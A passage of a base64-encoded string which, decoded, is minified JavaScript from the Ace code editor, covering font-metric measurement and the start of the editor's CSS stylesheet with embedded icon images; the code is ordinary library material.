pb24oKXtpZih0aGlzLiRwb2xsU2l6ZUNoYW5nZXNUaW1lcnx8dGhpcy4kb2JzZXJ2ZXIpcmV0dXJuIHRoaXMuJHBvbGxTaXplQ2hhbmdlc1RpbWVyO3ZhciBlPXRoaXM7cmV0dXJuIHRoaXMuJHBvbGxTaXplQ2hhbmdlc1RpbWVyPW8ub25JZGxlKGZ1bmN0aW9uIHQoKXtlLmNoZWNrRm9yU2l6ZUNoYW5nZXMoKSxvLm9uSWRsZSh0LDUwMCl9LDUwMCl9LHRoaXMuc2V0UG9sbGluZz1mdW5jdGlvbihlKXtlP3RoaXMuJHBvbGxTaXplQ2hhbmdlcygpOnRoaXMuJHBvbGxTaXplQ2hhbmdlc1RpbWVyJiYoY2xlYXJJbnRlcnZhbCh0aGlzLiRwb2xsU2l6ZUNoYW5nZXNUaW1lciksdGhpcy4kcG9sbFNpemVDaGFuZ2VzVGltZXI9MCl9LHRoaXMuJG1lYXN1cmVTaXplcz1mdW5jdGlvbihlKXtlPWV8fHRoaXMuJG1lYXN1cmVOb2RlO3ZhciB0PWUuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCksbj17aGVpZ2h0OnQuaGVpZ2h0LHdpZHRoOnQud2lkdGgvdGhpcy5jaGFyQ291bnR9O3JldHVybiBuLndpZHRoPT09MHx8bi5oZWlnaHQ9PT0wP251bGw6bn0sdGhpcy4kbWVhc3VyZUNoYXJXaWR0aD1mdW5jdGlvbihlKXt0aGlzLiRtYWluLnRleHRDb250ZW50PXMuc3RyaW5nUmVwZWF0KGUsdGhpcy5jaGFyQ291bnQpO3ZhciB0PXRoaXMuJG1haW4uZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCk7cmV0dXJuIHQud2lkdGgvdGhpcy5jaGFyQ291bnR9LHRoaXMuZ2V0Q2hhcmFjdGVyV2lkdGg9ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5jaGFyU2l6ZXNbZV07cmV0dXJuIHQ9PT11bmRlZmluZWQmJih0PXRoaXMuY2hhclNpemVzW2VdPXRoaXMuJG1lYXN1cmVDaGFyV2lkdGgoZSkvdGhpcy4kY2hhcmFjdGVyU2l6ZS53aWR0aCksdH0sdGhpcy5kZXN0cm95PWZ1bmN0aW9uKCl7Y2xlYXJJbnRlcnZhbCh0aGlzLiRwb2xsU2l6ZUNoYW5nZXNUaW1lciksdGhpcy4kb2JzZXJ2ZXImJnRoaXMuJG9ic2VydmVyLmRpc2Nvbm5lY3QoKSx0aGlzLmVsJiZ0aGlzLmVsLnBhcmVudE5vZGUmJnRoaXMuZWwucGFyZW50Tm9kZS5yZW1vdmVDaGlsZCh0aGlzLmVsKX0sdGhpcy4kZ2V0Wm9vbT1mdW5jdGlvbiBlKHQpe3JldHVybiF0fHwhdC5wYXJlbnRFbGVtZW50PzE6KHdpbmRvdy5nZXRDb21wdXRlZFN0eWxlKHQpLnpvb218fDEpKmUodC5wYXJlbnRFbGVtZW50KX0sdGhpcy4kaW5pdFRyYW5zZm9ybU1lYXN1cmVOb2Rlcz1mdW5jdGlvbigpe3ZhciBlPWZ1bmN0aW9uKGUsdCl7cmV0dXJuWyJkaXYiLHtzdHlsZToicG9zaXRpb246IGFic29sdXRlO3RvcDoiK2UrInB4O2xlZnQ6Iit0KyJweDsifV19O3RoaXMuZWxzPWkuYnVpbGREb20oW2UoMCwwKSxlKGMsMCksZSgwLGMpLGUoYyxjKV0sdGhpcy5lbCl9LHRoaXMudHJhbnNmb3JtQ29vcmRpbmF0ZXM9ZnVuY3Rpb24oZSx0KXtmdW5jdGlvbiByKGUsdCxuKXt2YXIgcj1lWzFdKnRbMF0tZVswXSp0WzFdO3JldHVyblsoLXRbMV0qblswXSt0WzBdKm5bMV0pL3IsKCtlWzFdKm5bMF0tZVswXSpuWzFdKS9yXX1mdW5jdGlvbiBpKGUsdCl7cmV0dXJuW2VbMF0tdFswXSxlWzFdLXRbMV1dfWZ1bmN0aW9uIHMoZSx0KXtyZXR1cm5bZVswXSt0WzBdLGVbMV0rdFsxXV19ZnVuY3Rpb24gbyhlLHQpe3JldHVybltlKnRbMF0sZSp0WzFdXX1mdW5jdGlvbiB1KGUpe3ZhciB0PWUuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCk7cmV0dXJuW3QubGVmdCx0LnRvcF19aWYoZSl7dmFyIG49dGhpcy4kZ2V0Wm9vbSh0aGlzLmVsKTtlPW8oMS9uLGUpfXRoaXMuZWxzfHx0aGlzLiRpbml0VHJhbnNmb3JtTWVhc3VyZU5vZGVzKCk7dmFyIGE9dSh0aGlzLmVsc1swXSksZj11KHRoaXMuZWxzWzFdKSxsPXUodGhpcy5lbHNbMl0pLGg9dSh0aGlzLmVsc1szXSkscD1yKGkoaCxmKSxpKGgsbCksaShzKGYsbCkscyhoLGEpKSksZD1vKDErcFswXSxpKGYsYSkpLHY9bygxK3BbMV0saShsLGEpKTtpZih0KXt2YXIgbT10LGc9cFswXSptWzBdL2MrcFsxXSptWzFdL2MrMSx5PXMobyhtWzBdLGQpLG8obVsxXSx2KSk7cmV0dXJuIHMobygxL2cvYyx5KSxhKX12YXIgYj1pKGUsYSksdz1yKGkoZCxvKHBbMF0sYikpLGkodixvKHBbMV0sYikpLGIpO3JldHVybiBvKGMsdyl9fSkuY2FsbChoLnByb3RvdHlwZSl9KSxkZWZpbmUoImFjZS9jc3MvZWRpdG9yLmNzcyIsWyJyZXF1aXJlIiwiZXhwb3J0cyIsIm1vZHVsZSJdLGZ1bmN0aW9uKGUsdCxuKXtuLmV4cG9ydHM9Jy8qXG5zdHlsZXMgPSBbXVxuZm9yICh2YXIgaSA9IDE7IGkgPCAxNjsgaSsrKSB7XG4gICAgc3R5bGVzLnB1c2goIi5hY2VfYnIiICsgaSArICJ7IiArIChcbiAgICAgICAgWyJ0b3AtbGVmdCIsICJ0b3AtcmlnaHQiLCAiYm90dG9tLXJpZ2h0IiwgImJvdHRvbS1sZWZ0Il1cbiAgICApLm1hcChmdW5jdGlvbih4LCBqKSB7XG4gICAgICAgIHJldHVybiBpICYgKDE8PGopID8gImJvcmRlci0iICsgeCArICItcmFkaXVzOiAzcHg7IiA6ICIiIFxuICAgIH0pLmZpbHRlcihCb29sZWFuKS5qb2luKCIgIikgKyAifSIpXG59XG5zdHlsZXMuam9pbigiXFxuIilcbiovXG4uYWNlX2JyMSB7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1cyAgICA6IDNweDt9XG4uYWNlX2JyMiB7Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXMgICA6IDNweDt9XG4uYWNlX2JyMyB7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1cyAgICA6IDNweDsgYm9yZGVyLXRvcC1yaWdodC1yYWRpdXM6ICAgIDNweDt9XG4uYWNlX2JyNCB7Ym9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDNweDt9XG4uYWNlX2JyNSB7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1cyAgICA6IDNweDsgYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDNweDt9XG4uYWNlX2JyNiB7Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXMgICA6IDNweDsgYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDNweDt9XG4uYWNlX2JyNyB7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1cyAgICA6IDNweDsgYm9yZGVyLXRvcC1yaWdodC1yYWRpdXM6ICAgIDNweDsgYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDNweDt9XG4uYWNlX2JyOCB7Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1cyA6IDNweDt9XG4uYWNlX2JyOSB7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1cyAgICA6IDNweDsgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogIDNweDt9XG4uYWNlX2JyMTB7Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXMgICA6IDNweDsgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogIDNweDt9XG4uYWNlX2JyMTF7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1cyAgICA6IDNweDsgYm9yZGVyLXRvcC1yaWdodC1yYWRpdXM6ICAgIDNweDsgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogIDNweDt9XG4uYWNlX2JyMTJ7Ym9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDNweDsgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogIDNweDt9XG4uYWNlX2JyMTN7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1cyAgICA6IDNweDsgYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDNweDsgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogIDNweDt9XG4uYWNlX2JyMTR7Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXMgICA6IDNweDsgYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDNweDsgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogIDNweDt9XG4uYWNlX2JyMTV7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1cyAgICA6IDNweDsgYm9yZGVyLXRvcC1yaWdodC1yYWRpdXM6ICAgIDNweDsgYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDNweDsgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogM3B4O31cblxuXG4uYWNlX2VkaXRvciB7XG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgcGFkZGluZzogMDtcbiAgICBmb250OiAxMnB4L25vcm1hbCBcJ01vbmFjb1wnLCBcJ01lbmxvXCcsIFwnVWJ1bnR1IE1vbm9cJywgXCdDb25zb2xhc1wnLCBcJ3NvdXJjZS1jb2RlLXByb1wnLCBtb25vc3BhY2U7XG4gICAgZGlyZWN0aW9uOiBsdHI7XG4gICAgdGV4dC1hbGlnbjogbGVmdDtcbiAgICAtd2Via2l0LXRhcC1oaWdobGlnaHQtY29sb3I6IHJnYmEoMCwgMCwgMCwgMCk7XG59XG5cbi5hY2Vfc2Nyb2xsZXIge1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgIHRvcDogMDtcbiAgICBib3R0b206IDA7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogaW5oZXJpdDtcbiAgICAtbXMtdXNlci1zZWxlY3Q6IG5vbmU7XG4gICAgLW1vei11c2VyLXNlbGVjdDogbm9uZTtcbiAgICAtd2Via2l0LXVzZXItc2VsZWN0OiBub25lO1xuICAgIHVzZXItc2VsZWN0OiBub25lO1xuICAgIGN1cnNvcjogdGV4dDtcbn1cblxuLmFjZV9jb250ZW50IHtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgYm94LXNpemluZzogYm9yZGVyLWJveDtcbiAgICBtaW4td2lkdGg6IDEwMCU7XG4gICAgY29udGFpbjogc3R5bGUgc2l6ZSBsYXlvdXQ7XG4gICAgZm9udC12YXJpYW50LWxpZ2F0dXJlczogbm8tY29tbW9uLWxpZ2F0dXJlcztcbn1cblxuLmFjZV9kcmFnZ2luZyAuYWNlX3Njcm9sbGVyOmJlZm9yZXtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgdG9wOiAwO1xuICAgIGxlZnQ6IDA7XG4gICAgcmlnaHQ6IDA7XG4gICAgYm90dG9tOiAwO1xuICAgIGNvbnRlbnQ6IFwnXCc7XG4gICAgYmFja2dyb3VuZDogcmdiYSgyNTAsIDI1MCwgMjUwLCAwLjAxKTtcbiAgICB6LWluZGV4OiAxMDAwO1xufVxuLmFjZV9kcmFnZ2luZy5hY2VfZGFyayAuYWNlX3Njcm9sbGVyOmJlZm9yZXtcbiAgICBiYWNrZ3JvdW5kOiByZ2JhKDAsIDAsIDAsIDAuMDEpO1xufVxuXG4uYWNlX2d1dHRlciB7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIG92ZXJmbG93IDogaGlkZGVuO1xuICAgIHdpZHRoOiBhdXRvO1xuICAgIHRvcDogMDtcbiAgICBib3R0b206IDA7XG4gICAgbGVmdDogMDtcbiAgICBjdXJzb3I6IGRlZmF1bHQ7XG4gICAgei1pbmRleDogNDtcbiAgICAtbXMtdXNlci1zZWxlY3Q6IG5vbmU7XG4gICAgLW1vei11c2VyLXNlbGVjdDogbm9uZTtcbiAgICAtd2Via2l0LXVzZXItc2VsZWN0OiBub25lO1xuICAgIHVzZXItc2VsZWN0OiBub25lO1xuICAgIGNvbnRhaW46IHN0eWxlIHNpemUgbGF5b3V0O1xufVxuXG4uYWNlX2d1dHRlci1hY3RpdmUtbGluZSB7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIGxlZnQ6IDA7XG4gICAgcmlnaHQ6IDA7XG59XG5cbi5hY2Vfc2Nyb2xsZXIuYWNlX3Njcm9sbC1sZWZ0IHtcbiAgICBib3gtc2hhZG93OiAxN3B4IDAgMTZweCAtMTZweCByZ2JhKDAsIDAsIDAsIDAuNCkgaW5zZXQ7XG59XG5cbi5hY2VfZ3V0dGVyLWNlbGwge1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IDA7XG4gICAgbGVmdDogMDtcbiAgICByaWdodDogMDtcbiAgICBwYWRkaW5nLWxlZnQ6IDE5cHg7XG4gICAgcGFkZGluZy1yaWdodDogNnB4O1xuICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG59XG5cbi5hY2VfZ3V0dGVyLWNlbGwuYWNlX2Vycm9yIHtcbiAgICBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBTUFBQUFvTFE5VEFBQUJPRkJNVkVYLy8vLy8vLy8vUVJzd0ZBYi9VaTR3RkFZd0ZBWXdGQWFXR0FmRFJ5bXpPU0gvUHhzd0ZBYi9TaVV3RkFZd0ZBYlVQUnZqUWlEbGxvZzVIaEhkUnlic1RpMy9UeXY5VGlyK1N5ai9VQzMvLy8vWHVyZWJNQkl3RkFiL1JTSGJQeC9nVXpmZHdMM2t6TWl2S0JBd0ZBYmJ2Ym5oUHg2Nk5ob3dGQVl3RkFhWkpnOHdGQWF4S0JEWnVyZi9SQjZtTXhiL1NDTXdGQVl3RkFieFFCMytSQjR3RkFiL1FoeTRPaCs0UWlmYk5SY3dGQVl3RkFZd0ZBYi9RUnpkTmhnd0ZBWXdGQWJhdjd2L1V5N29hRTY4TUJLNUx4TGV3ci9yMk5YZXdMc3dGQWF4Snc0d0ZBYmtQUnkyUHlZd0ZBYXhLaExtMXRNd0ZBYXpQaVF3RkFhVUdBYi9RQnJmT3gzYnZydi9WQy9tYUU0d0ZBYlJQQnE2TVJPOFF5bmV3OERwMnRqZndiMHdGQWJ4NmVqdTUrYnk2dW5zNHVIOS9mMzYrdnIvR2tIakFBQUFZblJTVGxNQUd0KzY0cm5XdS9ibzhlQUE0SW5IMytEd29ON2o0ZUxpNHhQOTlOZmc0K2IrL3U5Qi9lRHMxTUQxbU83KzRQSGcyTVhhMzQ3Zzd2RGl6TUxONGVHK1B2N2k1ZXZzL3Y3OXl1N1MzL0RWNy80OThZdjI0ZUgrNHVmUTNPenUvdjcreTEzc1Jxd0FBQURMU1VSQlZIamFaYy9YRHNGZ0dJQmh0RHJzaGxpdG1rMklyYkhGcUwycHZYZi8rNzhEUG9rajcrRno5cXBVLzlVWEpJbGhtUGFUYVE2UVBhejBtbSs1Z3drZ292Y1Y2R1p6ZDVKdENRd2dzeG9IT3ZKTzE1a2xlUkxBbk1nSEZJRVNVRVBtYXdCOW5nbWVsVHRpcHd3ZkFTaWx4T0x5aVY1VVZVeVZBZmJHMGNDUEhpZytHQmt6QUVOSFMwQXN0VkY2YmFjWklPemdMbXhzSGJ0Mk9lY05nSkM4M0pFUm1lUFVZcThBUkdrSng2WHRGc2RkZEJRZ1pFMm5QUjZDSUNaaGF3akE0RmIvY2h2KzM5OWtmUitNTU1ER09RQUFBQUJKUlU1RXJrSmdnZz09Iik7XG4gICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiAycHggY2VudGVyO1xufVxuXG4uYWNlX2d1dHRlci1jZWxsLmFjZV93YXJuaW5nIHtcbiAgICBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBTUFBQUFvTFE5VEFBQUFtVkJNVkVYLy8vOEFBQUQvLy84QUFBQUFBQUJQU3piLzVzQUFBQUIvYmxILzczei91bGtBQUFBQUFBRDg1cGtBQUFBQUFBQUNBZ1Avdkd6L3JrRGVyR2JHclY3L3BrUUlDQWYvLy8vZTBJc0FBQUQvb0VEL3FUdmhyblVBQUFEL3lIRC9uamNBQUFEdXYyci9uei8vb1RqL3AwNjRvR2YvekhBQUFBQTlOaXIvdEZJQUFBRC90bFRpdVdmL3RrSUFBQUN5blhFQUFBQUFBQUF0SVJXN3pCcEJBQUFBTTNSU1RsTUFBQlIxbTdSWE84TG4zMVozNnpUK25lWGU1T3pvb1JEZm4rVFo0cDNoMmhUZjR0M2szdWN5ck4xSzUrWGFrczUyU2ZzOUNYZ3JBQUFBamtsRVFWUjQybzNQYlErQ0lCUUZZRXdib1BoU1lnb1l1bklxcUxuNi96OHVZZEg4Vm1kbnU5dno0V3dYZ04veFRQUkQyK3NnT2NaanNnZS93aFhaZ1VhWVl2VDhRbnVKYVVyanJIVVFyZUdjenVFYWZRQ08vU0pUdWZUYnJvV3NQZ3NsbFZocTN3SkVrMmpVU3pYM0NVRURKQzg0NzA3ZGpSYzVNVEFReG9MZ3VwV1J3VzZVQjVmUysrTlY4QWJPWmduc0M3QnBFQUFBQUFCSlJVNUVya0pnZ2c9PSIpO1xuICAgIGJhY2tncm91bmQtcG9zaXRpb246IDJweCBjZW50ZXI7XG59XG5cbi5hY2VfZ3V0dGVyLWNlbGwuYWNlX2luZm8ge1xuICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgiZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FBQUFBQTZtS0M5QUFBQUdYUkZXSFJUYjJaMGQyRnlaUUJCWkc5aVpTQkpiV0ZuWlZKbFlXUjVjY2xsUEFBQUFBSjBVazVUQUFCMms4MDRBQUFBUGtsRVFWUVkwMk5nSUI2OFF1TzN0aUx6bmpBd3BLVGdOeURiTWVnd2lzQ0haVUVUVVpWMFpxT3F1QnBYajJydG5wU0pUMUFFbm5SbUwyT2dHZ0FBSUtrUlFhcDJodGdBQUFBQVNVVk9SSzVDWUlJPSIpO1xuICAgIGJhY2tncm91bmQtcG9zaXRpb246IDJweCBjZW50ZXI7XG59XG4uYWNlX2RhcmsgLmFjZV9ndXR0ZXItY2VsbC5hY2VfaW5mbyB7XG4gICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFCQU1BQUFEdDNlSlNBQUFBSkZCTVZFVUFBQUNob2FHQWdJQXFLaXErdnI2dHJhMVpXVm1VbEpTYm01czhQRHh1Ym01NmVucmRnemczQUFBQUFYUlNUbE1BUU9iWVpnQUFBQ2xKUkVGVWVOcGpZTUFQZHNNWUhlZ3lKWkZRQmxzVWxNRlZDV1VZS2tBWk14WkFHZHhsRE1RQkFHK1RCUDRCNlJ5SkFBQUFBRWxGVGtTdVFtQ0MiKTtcbn1cblxuLmFjZV9zY3JvbGxiYXIge1xuICAgIGNvbnRhaW46IHN0cmljdDtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgcmlnaHQ6IDA7XG4gICAgYm90dG9tOiAwO1xuICAgIHotaW5kZXg6IDY7XG59XG5cbi5hY2Vfc2Nyb2xsYmFyLWlubmVyIHtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgY3Vyc29yOiB0ZXh0O1xuICAgIGxlZnQ6IDA7XG4gICAgdG9wOiAwO1xufVxuXG4uYWNlX3Njcm9sbGJhci12e1xuICAgIG92ZXJmbG93LXg6IGhpZGRlbjtcbiAgICBvdmVyZmxvdy15OiBzY3JvbGw7XG4gICAgdG9wOiAwO1xufVxuXG4uYWNlX3Njcm9sbGJhci1oIHtcbiAgICBvdmVyZmxvdy14OiBzY3JvbGw7XG4gICAgb3ZlcmZsb3cteTogaGlkZGVuO1xuICAgIGxlZnQ6IDA7XG59XG5cbi5hY2VfcHJpbnQtbWFyZ2luIHtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgaGVpZ2h0OiAxMDAlO1xufVxuXG4uYWNlX3RleHQtaW5wdXQge1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB6LWluZGV4OiAwO1xuICAgIHdpZHRoOiAwLjVlbTtcbiAgICBoZWlnaHQ6IDFlbTtcbiAgICBvcGFjaXR5OiAwO1xuICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICAgIC1tb3otYXBwZWFyYW5jZTogbm9uZTtcbiAgICBhcHBlYXJhbmNlOiBub25lO1xuICAgIGJvcmRlcjogbm9uZTtcbiAgICByZXNpemU6IG5vbmU7XG4gICAgb3V0bGluZTogbm9uZTtcbiAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgIGZvbnQ6IGluaGVyaXQ7XG4gICAgcGFkZGluZzogMCAxcHg7XG4gICAgbWFyZ2luOiAwIC0xcHg7XG4gICAgY29udGFpbjogc3RyaWN0O1xuICAgIC1tcy11c2VyLXNlbGVjdDogdGV4dDtcbiAgICAtbW96LXVzZXItc2VsZWN0OiB0ZXh0O1xuICAgIC13ZWJraXQtdXNlci1zZWxlY3Q6IHRleHQ7XG4gICAgdXNlci1zZWxlY3Q6IHRleHQ7XG4gICAgLyp3aXRoIGBwcmUtbGluZWAgY2hyb21lIGluc2VydHMgJm5ic3A7IGluc3RlYWQgb2Ygc3BhY2UqL1xuICAgIHdoaXRlLXNwYWNlOiBwcmUhaW1wb3J0YW50O1xufVxuLmFjZV90ZXh0LWlucHV0LmFjZV9jb21wb3NpdGlvbiB7XG4gICAgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG4gICAgY29sb3I6IGluaGVyaXQ7XG4gICAgei1pbmRleDogMTAwMDtcbiAgICBvcGFjaXR5OiAxO1xufVxuLmFjZV9jb21wb3NpdGlvbl9wbGFjZWhvbGRlciB7IGNvbG9yOiB0cmFuc3BhcmVudCB9XG4uYWNlX2NvbXBvc2l0aW9uX21hcmtlciB7IFxuICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZDtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgYm9yZGVyLXJhZGl1czogMDtcbiAgICBtYXJnaW4tdG9wOiAxcHg7XG59XG5cblthY2Vfbm9jb250ZXh0PXRydWVdIHtcbiAgICB0cmFuc2Zvcm06IG5vbmUhaW1wb3J0YW50O1xuICAgIGZpbHRlcjogbm9uZSFpbXBvcnRhbnQ7XG4gICAgY2xpcC1wYXRoOiBub25lIWltcG9ydGFudDtcbiAgICBtYXNrIDogbm9uZSFpbXBvcnRhbnQ7XG4gICAgY29udGFpbjogbm9uZSFpbXBvcnRhbnQ7XG4gICAgcGVyc3BlY3RpdmU6IG5vbmUhaW1wb3J0YW50O1xuICAgIG1peC1ibGVuZC1tb2RlOiBpbml0aWFsIWltcG9ydGFudDtcbiAgICB6LWluZGV4OiBhdXRvO1xufVxuXG4uYWNlX2xheWVyIHtcbiAgICB6LWluZGV4OiAxO1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgIC8qIHdvcmthcm91bmQgZm9yIGNocm9tZSBidWcgaHR0cHM6Ly9naXRodWIuY29tL2FqYXhvcmcvYWNlL2lzc3Vlcy8yMzEyKi9cbiAgICB3b3JkLXdyYXA6IG5vcm1hbDtcbiAgICB3aGl0ZS1zcGFjZTogcHJlO1xuICAgIGhlaWdodDogMTAwJTtcbiAgICB3aWR0aDogMTAwJTtcbiAgICBib3gtc2l6aW5nOiBib3JkZXItYm94O1xuICAgIC8qIHNldHRpbmcgcG9pbnRlci1ldmVudHM6IGF1dG87IG9uIG5vZGUgdW5kZXIgdGhlIG1vdXNlLCB3aGljaCBjaGFuZ2VzXG4gICAgICAgIGR1cmluZyBzY3JvbGwsIHdpbGwgYnJlYWsgbW91c2Ugd2hlZWwgc2Nyb2xsaW5nIGluIFNhZmFyaSAqL1xuICAgIHBvaW50ZXItZXZlbnRzOiBub25lO1xufVxuXG4uYWNlX2d1dHRlci1sYXllciB7XG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgIHdpZHRoOiBhdXRvO1xuICAgIHRleHQtYWxpZ246IHJpZ2h0O1xuICAgIHBvaW50ZXItZXZlbnRzOiBhdXRvO1xuICAgIGhlaWdodDogMTAwMDAwMHB4O1xuICAgIGNvbnRhaW46IHN0eWxlIHNpemUgbGF5b3V0O1xufVxuXG4uYWNlX3RleHQtbGF5ZXIge1xuICAgIGZvbnQ6IGluaGVyaXQgIWltcG9ydGFudDtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgaGVpZ2h0OiAxMDAwMDAwcHg7XG4gICAgd2lkdGg6IDEwMDAwMDBweDtcbiAgICBjb250YWluOiBzdHlsZSBzaXplIGxheW91dDtcbn1cblxuLmFjZV90ZXh0LWxheWVyID4gLmFjZV9saW5lLCAuYWNlX3RleHQtbGF5ZXIgPiAuYWNlX2xpbmVfZ3JvdXAge1xuICAgIGNvbnRhaW46IHN0eWxlIHNpemUgbGF5b3V0O1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IDA7XG4gICAgbGVmdDogMDtcbiAgICByaWdodDogMDtcbn1cblxuLmFjZV9oaWRwaSAuYWNlX3RleHQtbGF5ZXIsXG4uYWNlX2hpZHBpIC5hY2VfZ3V0dGVyLWxheWVyLFxuLmFjZV9oaWRwaSAuYWNlX2NvbnRlbnQsXG4uYWNlX2hpZHBpIC5hY2VfZ3V0dGVyIHtcbiAgICBjb250YWluOiBzdHJpY3Q7XG4gICAgd2lsbC1jaGFuZ2U6IHRyYW5zZm9ybTtcbn1cbi5hY2VfaGlkcGkgLmFjZV90ZXh0LWxheWVyID4gLmFjZV9saW5lLCBcbi5hY2VfaGlkcGkgLmFjZV90ZXh0LWxheWVyID4gLmFjZV9saW5lX2dyb3VwIHtcbiAgICBjb250YWluOiBzdHJpY3Q7XG59XG5cbi5hY2VfY2prIHtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgdGV4dC1hbGlnbjogY2VudGVyO1xufVxuXG4uYWNlX2N1cnNvci1sYXllciB7XG4gICAgei1pbmRleDogNDtcbn1cblxuLmFjZV9jdXJzb3Ige1xuICAgIHotaW5kZXg6IDQ7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gICAgYm9yZGVyLWxlZnQ6IDJweCBzb2xpZDtcbiAgICAvKiB3b3JrYXJvdW5kIGZvciBzbW9vdGggY3Vyc29yIHJlcGFpbnRuZyB3aG9sZSBzY3JlZW4gaW4gY2hyb21lICovXG4gICAgdHJhbnNmb3JtOiB0cmFuc2xhdGV6KDApO1xufVxuXG4uYWNlX211bHRpc2VsZWN0IC5hY2VfY3Vyc29yIHtcbiAgICBib3JkZXItbGVmdC13aWR0aDogMXB4O1xufVxuXG4uYWNlX3NsaW0tY3Vyc29ycyAuYWNlX2N1cnNvciB7XG4gICAgYm9yZGVyLWxlZnQtd2lkdGg6IDFweDtcbn1cblxuLmFjZV9vdmVyd3JpdGUtY3Vyc29ycyAuYWNlX2N1cnNvciB7XG4gICAgYm9yZGVyLWxlZnQtd2lkdGg6IDA7XG4gICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkO1xufVxuXG4uYWNlX2hpZGRlbi1jdXJzb3JzIC5hY2VfY3Vyc29yIHtcbiAgICBvcGFjaXR5OiAwLjI7XG59XG5cbi5hY2VfaGFzUGxhY2Vob2xkZXIgLmFjZV9oaWRkZW4tY3Vyc29ycyAuYWNlX2N1cnNvciB7XG4gICAgb3BhY2l0eTogMDtcbn1cblxuLmFjZV9zbW9vdGgtYmxpbmtpbmcgLmFjZV9jdXJzb3Ige1xuICAgIHRyYW5zaXRpb246IG9wYWNpdHkgMC4xOHM7XG59XG5cbi5hY2VfYW5pbWF0ZS1ibGlua2luZyAuYWNlX2N1cnNvciB7XG4gICAgYW5pbWF0aW9uLWR1cmF0aW9uOiAxMDAwbXM7XG4gICAgYW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogc3RlcC1lbmQ7XG4gICAgYW5pbWF0aW9uLW5hbWU6IGJsaW5rLWFjZS1hbmltYXRlO1xuICAgIGFuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6IGluZmluaXRlO1xufVxuXG4uYWNlX2FuaW1hdGUtYmxpbmtpbmcuYWNlX3Nt